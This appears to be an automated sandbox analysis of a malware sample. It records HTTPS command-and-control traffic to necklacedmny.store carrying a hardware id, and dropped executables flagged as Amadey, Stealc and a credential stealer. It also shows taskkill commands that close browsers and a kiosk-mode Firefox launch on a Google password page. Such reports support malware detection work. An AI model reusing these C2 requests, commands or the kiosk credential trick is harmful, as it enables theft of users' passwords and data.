2024-11-01 04:54:08 UTC	15331	OUT	Data Raw: 6a c7 86 0e cb 22 85 70 21 eb d1 73 68 a4 17 2b f6 cc 7a d0 a3 2c b6 14 56 cd e3 ae 4b 84 28 f6 8d a3 88 54 ae df 44 fb 08 98 01 2a 7d 70 7d 50 1d bf 81 eb 44 f5 cb e2 3d 2c ea 03 9f 68 73 da 11 c7 19 23 c6 28 43 cb 00 45 d7 e6 5f d6 c7 1b ca 2d ec 7f b9 5d f1 79 52 11 d1 35 5e f8 d4 d6 0b 93 d9 57 49 40 1b 41 16 8b 6c 89 fd d3 b6 a6 6e dd f9 c7 1b ae 54 69 4f 83 95 87 22 4d 01 c0 f9 c8 9d 3b 77 96 9a a5 ff a9 41 ab 9d 33 9a f3 b5 07 b9 47 79 7e 35 75 1d 48 76 69 9a 83 4b 7f 4e de ad f7 e7 56 d4 48 de 86 b0 ed cf 06 ae 70 3d 76 f4 8b 10 cc 79 58 08 b8 77 e1 de dd 66 ab 2e 0b 40 5e 08 58 1a 78 16 cd 1b 0c 61 06 f0 26 d5 d8 88 5d cc ef a5 af e7 6d 74 d5 47 07 bb 2d 6b 37 28 67 df f7 32 0f c2 6c ad ff a0 09 91 bb 46 ef a8 6b 42 23 35 ac 2b 4f db e5 38 5c a8 Data Ascii: j"p!sh+z,VK(TD*}p}PD=,hs#(CE_-]yR5^WI@AlnTiO"M;wA3Gy~5uHviKNVHp=vyXwf.@^Xxa&]mtG-k7(g2lFkB#5+O8\
2024-11-01 04:54:08 UTC	2736	OUT	Data Raw: 34 5c 53 37 85 d4 f0 c0 14 82 66 34 bc 03 71 2c be 14 49 68 c6 ee 9e 6f e4 37 5d e8 79 41 f0 eb 94 b4 25 44 24 9c 33 a7 9d 92 c5 d0 67 9a 27 75 fd be eb 0c a8 54 b1 ec ac 03 27 9f ef dc be 5e 6d ee c4 10 26 b6 43 82 b5 1d ef a2 c4 8a 91 3f fb 01 ac 17 bd 79 2a f5 c2 37 c6 3d 33 2b 4b bb 21 98 fc 12 07 c1 58 43 72 2a 2b 15 42 59 c9 f2 6e 7e cd 7b 69 29 25 93 a1 1e 7d 19 81 a4 f5 c2 58 7a 23 6d 1d 9f 0d 73 cf 6a 97 b5 65 0c 9e 76 66 3c 13 15 63 41 4a fd 2d 1b a9 ef c5 7c ad 66 43 f9 13 49 9d 1e cf e7 5b cf 03 46 ef e0 9a 9b 5f f9 97 8a 1e 8a de e5 3a 82 b8 f6 fc 9e 3b f7 ca fc 66 cd f2 d2 ae c3 ff 2c af 0f 73 c6 3b 0a c6 1b 7f 6d e7 69 4c d4 9e 23 74 d7 0b 93 28 81 e8 f6 04 1f c1 d5 1c 14 33 56 bf 42 63 6f 91 fd 4b 94 9f 11 02 96 b0 b0 24 b7 d3 f8 93 78 81 Data Ascii: 4\S7f4q,Iho7]yA%D$3g'uT'^m&C?y7=3+K!XCr+BYn~{i)%}Xz#msjevf<cAJ-\|fCI[F_:;f,s;miL#t(3VBcoK$x
2024-11-01 04:54:09 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=db0083i9jr3vkcuacd3srqu1je; expires=Mon, 24-Feb-2025 22:40:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WNBs6OWtINjPyNQif%2BdUMlV7aQACuR5x00XaSo2EAdVUwQHcCHERGyTizqUXhrc3dZU4m8KVKG5fntyOzRgCS3NjJnmqf6lGksvvip4hCyVzA5KAQ88DFbQIhQgWby04%2F3x8CC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db949014abae7cf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1302&sent=21&recv=56&lost=0&retrans=0&sent_bytes=2845&recv_bytes=49781&delivery_rate=2195602&cwnd=251&unsent_bytes=0&cid=e35c011f6f317e34&ts=795&x=0"
2024-11-01 04:54:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	50095	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:10 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:54:10 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=FC6B15971607FBA128DEB478D21E6E6B
2024-11-01 04:54:11 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k06euo12mjk5ip0l4ai32f4g5h; expires=Mon, 24-Feb-2025 22:40:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zPhyuWSN3sQQG5KeaElw%2FBKVpnLtKMTrF%2BUlF2oZyWD1k5WNBMXfnwAUEs%2FSr0PC6fF62Uj6vP%2BkInayx2PfpDMW%2B2tF2NOJ69iZgmiJ%2FgjRB%2FUEtsdwD%2Foc%2B6UARtzhsUns8i0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db9490bac713594-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=991&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2776605&cwnd=251&unsent_bytes=0&cid=3b5daacc058425c0&ts=696&x=0"
2024-11-01 04:54:11 UTC	214	IN	Data Raw: 64 30 0d 0a 59 65 6b 6e 6e 4a 54 73 4f 76 67 32 43 58 50 77 79 65 4d 73 67 64 68 33 59 31 4d 6f 68 4c 30 41 52 6d 33 69 4c 33 39 62 79 69 30 36 6b 67 58 70 74 74 59 59 6b 45 4a 39 41 38 71 56 7a 48 43 75 36 55 39 57 66 52 71 31 69 43 35 33 58 4e 45 42 54 6d 32 57 41 67 36 50 51 63 43 37 69 46 2b 65 47 47 77 4c 6c 65 76 50 44 75 65 73 56 56 6c 6a 42 4b 62 59 49 6e 78 64 6e 77 4d 45 65 62 38 50 57 38 74 50 36 4f 43 63 41 4b 51 5a 56 56 7a 42 38 64 59 43 73 2b 6c 43 54 57 49 5a 74 35 4d 78 63 44 48 4e 51 68 59 31 72 33 46 4f 6d 30 62 79 38 49 4e 58 31 6c 4e 78 46 74 4c 6c 77 55 72 31 2b 6b 31 54 66 77 72 68 6e 7a 70 32 45 4c 38 3d 0d 0a Data Ascii: d0YeknnJTsOvg2CXPwyeMsgdh3Y1MohL0ARm3iL39byi06kgXpttYYkEJ9A8qVzHCu6U9WfRq1iC53XNEBTm2WAg6PQcC7iF+eGGwLlevPDuesVVljBKbYInxdnwMEeb8PW8tP6OCcAKQZVVzB8dYCs+lCTWIZt5MxcDHNQhY1r3FOm0by8INX1lNxFtLlwUr1+k1Tfwrhnzp2EL8=
2024-11-01 04:54:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:52:02
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1000000
File size:	3'027'456 bytes
MD5 hash:	3CE8A084A0D153F38580F6DF179B0BE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2123562004.0000000001781000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2123613018.0000000001782000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:52:25
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe"
Imagebase:	0x2c0000
File size:	2'778'624 bytes
MD5 hash:	481C8B24C57DA4A1A61F3BA321F84C5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:52:27
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe"
Imagebase:	0x750000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2288392617.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2328973567.0000000000751000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:52:30
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4d0000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2349959438.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2309749751.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:52:31
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4d0000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2365987556.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2325690009.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:53:00
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4d0000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2607283101.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:53:10
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"
Imagebase:	0x880000
File size:	3'027'456 bytes
MD5 hash:	3CE8A084A0D153F38580F6DF179B0BE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2803022659.0000000001301000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:53:15
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"
Imagebase:	0xcd0000
File size:	2'154'496 bytes
MD5 hash:	806FDA7172E2FAF55675DD6F5DD76BB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2819953969.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2771688785.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:53:20
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"
Imagebase:	0x4b0000
File size:	919'552 bytes
MD5 hash:	E79F27AB2A69921BB110A37574D7B139
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:53:20
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:53:20
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:53:21
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"
Imagebase:	0x880000
File size:	3'027'456 bytes
MD5 hash:	3CE8A084A0D153F38580F6DF179B0BE9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2954765378.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2933392825.00000000010BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:53:23
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:53:23
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:53:23
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:53:23
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:53:24
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:53:24
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:53:25
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:53:25
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:53:25
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:53:25
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:53:25
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:53:26
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003096001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003096001\num.exe"
Imagebase:	0x860000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2876408637.000000000087E000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2876347937.0000000000861000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2857907960.0000000000861000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2857985543.000000000087E000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:53:26
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35e7d4a5-9554-4d22-b10d-2ccb5f3f4d3d} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e7106d910 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:53:29
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"
Imagebase:	0xcd0000
File size:	2'154'496 bytes
MD5 hash:	806FDA7172E2FAF55675DD6F5DD76BB5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2911813021.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3005019658.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:53:30
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3168 -parentBuildID 20230927232528 -prefsHandle 4244 -prefMapHandle 3936 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {70a663a9-61df-4815-9b94-9c34ad594b81} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e835c8e10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:53:38
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"
Imagebase:	0x7ff6a5670000
File size:	919'552 bytes
MD5 hash:	E79F27AB2A69921BB110A37574D7B139
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:53:38
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:53:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:53:40
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe"
Imagebase:	0xde0000
File size:	2'778'624 bytes
MD5 hash:	481C8B24C57DA4A1A61F3BA321F84C5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	00:53:44
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe"
Imagebase:	0x190000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000003.3059276891.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

